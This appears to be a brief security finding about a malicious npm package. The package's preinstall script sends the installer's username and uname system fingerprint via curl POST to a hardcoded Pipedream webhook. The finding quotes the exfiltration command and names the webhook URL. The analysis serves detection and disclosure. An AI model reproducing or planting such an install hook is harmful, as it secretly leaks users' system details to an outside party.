package.json declares a preinstall lifecycle script that runs `echo "$(whoami): $(uname -a)" | curl -X POST` against a hardcoded Pipedream webhook at https://eob8pyiw2d4hxvk.m.pipedream.net. On `npm install`, the installer's OS username and kernel/architecture/hostname fingerprint are captured and transmitted to an author-controlled endpoint without consent or opt-out. The destination is a generic Pipedream request-bin, not infrastructure related to any legitimate field-level-encryption purpose the package name implies.
